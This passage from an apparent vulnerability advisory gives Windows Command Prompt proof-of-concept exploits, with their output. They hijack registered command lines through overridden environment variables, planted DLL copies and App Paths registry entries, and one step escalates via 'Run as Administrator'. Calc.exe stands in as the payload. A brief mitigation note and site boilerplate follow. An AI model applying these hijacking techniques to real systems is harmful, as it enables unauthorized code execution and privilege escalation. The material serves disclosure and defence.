SET SystemRoot
COPY NUL: Desktop\Sloppy.msu
START Desktop\Sloppy.msu
RENAME Desktop\Sloppy.msu Sloppy.rle
START Desktop\Sloppy.rle
RENAME Desktop\Sloppy.rle Sloppy.spc
START Desktop\Sloppy.spc
RENAME Desktop\Sloppy.spc Sloppy.wsh
START Desktop\Sloppy.wsh
…
ERASE Desktop\Sloppy.*
EXIT
SystemRoot=C:\Windows\System32\Calc.exe" "*
        1 file(s) copied.

Exploit 3

Start a Command Prompt and run the following commands to exploit some registered command lines with an argument containing an environment variable:
REM Copyright © 2009-2020, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%USERPROFILE%"
SET CommonProgramFiles=%SystemDrive%
SET CommonProgramFiles
MKDIR "%CommonProgramFiles%\System\OLE DB"
COPY "%SystemRoot%\System32\ShUnimpl.dll" "%CommonProgramFiles%\System\OLE DB\OLEDB32.dll"
COPY NUL: Desktop\Sloppy.udl
START Desktop\Sloppy.udl
RMDIR /Q /S "%CommonProgramFiles%\System"
SET ProgramFiles=%SystemDrive%
SET ProgramFiles
MKDIR "%ProgramFiles%\Windows Photo Viewer"
COPY "%SystemRoot%\System32\ShUnimpl.dll" "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll"
RENAME Desktop\Sloppy.udl Sloppy.tif
START Desktop\Sloppy.tif
ERASE Desktop\Sloppy.tif
RMDIR /Q /S "%ProgramFiles%\Windows Photo Viewer"
EXIT
CommonProgramFiles=C:
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
        1 file(s) copied.
ProgramFiles=C:
ProgramFiles(x86)=C:\Program Files (x86)
        1 file(s) copied.

Exploit 4

Start a Command Prompt and run the following commands to exploit a registered command line with the unqualified filename of an application which is not in the search path:
REM Copyright © 2009-2020, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%USERPROFILE%"
REG.EXE ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\IExplore.exe" /VE /D "%SystemRoot%\System32\Calc.exe" /T REG_SZ /F
COPY NUL: Desktop\Sloppy.xrm-ms
START Desktop\Sloppy.xrm-ms
ERASE Desktop\Sloppy.xrm-ms
REG.EXE DELETE "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\IExplore.exe" /F
EXIT
The operation completed successfully.
        1 file(s) copied.
The operation completed successfully.

Exploit 5

Start a Command Prompt and run the following commands to perform the fifth exploit.
REM Copyright © 2009-2020, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%USERPROFILE%"
REG.EXE ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\WordPad.exe" /VE /T REG_SZ /D "%SystemRoot%\System32\Calc.exe" /F
WRITE.EXE
EXPLORER.EXE /E,/Select,"%SystemRoot%\Write.exe"
ECHO 1) Right-click the selected file 'Write.exe' to display its context menu;
ECHO 2) Click the 'Run as Administrator' menu entry;
SET /P = 3) Press [Return] when done!
REG.EXE DELETE "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\WordPad.exe" /F
EXIT
The operation completed successfully.
1) Right-click the selected file 'Write.exe' to display its context menu;
2) Click the 'Run as Administrator' menu entry;
3) Press [Return] when done!
The operation completed successfully.

Mitigation

Software Restrictions Policies or AppLocker

Contact

If you miss anything here, have additions, comments, corrections, criticism or questions, want to give feedback, hints or tipps, report broken links, bugs, deficiencies, errors, inaccuracies, misrepresentations, omissions, shortcomings, vulnerabilities or weaknesses, …: don’t hesitate to contact me and feel free to ask, comment, criticise, flame, notify or report!

Note: email in weird format and without a proper sender name is likely to be discarded!

I dislike HTML (and even weirder formats too) in email, I prefer to receive plain text.
I also expect to see your full (real) name as sender, not your nickname.
I abhor top posts and expect inline quotes in replies.

Terms and Conditions

By using this site, you signify your agreement to these terms and conditions. If you do not agree to these terms and conditions, do not use this site!

Data Protection Declaration

This web page records no (personal) data and stores no cookies in the web browser.

The web service is operated and provided by

Telekom Deutschland GmbH
Business Center
D-64306 Darmstadt
Germany
<‍hosting‍@‍telekom‍.‍de‍>
+49 800 5252033

The web service provider stores a session cookie in the web browser and records every visit of this web site with the following data in an access log on their server(s):


Copyright © 1995–2020 • Stefan Kanthak • <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>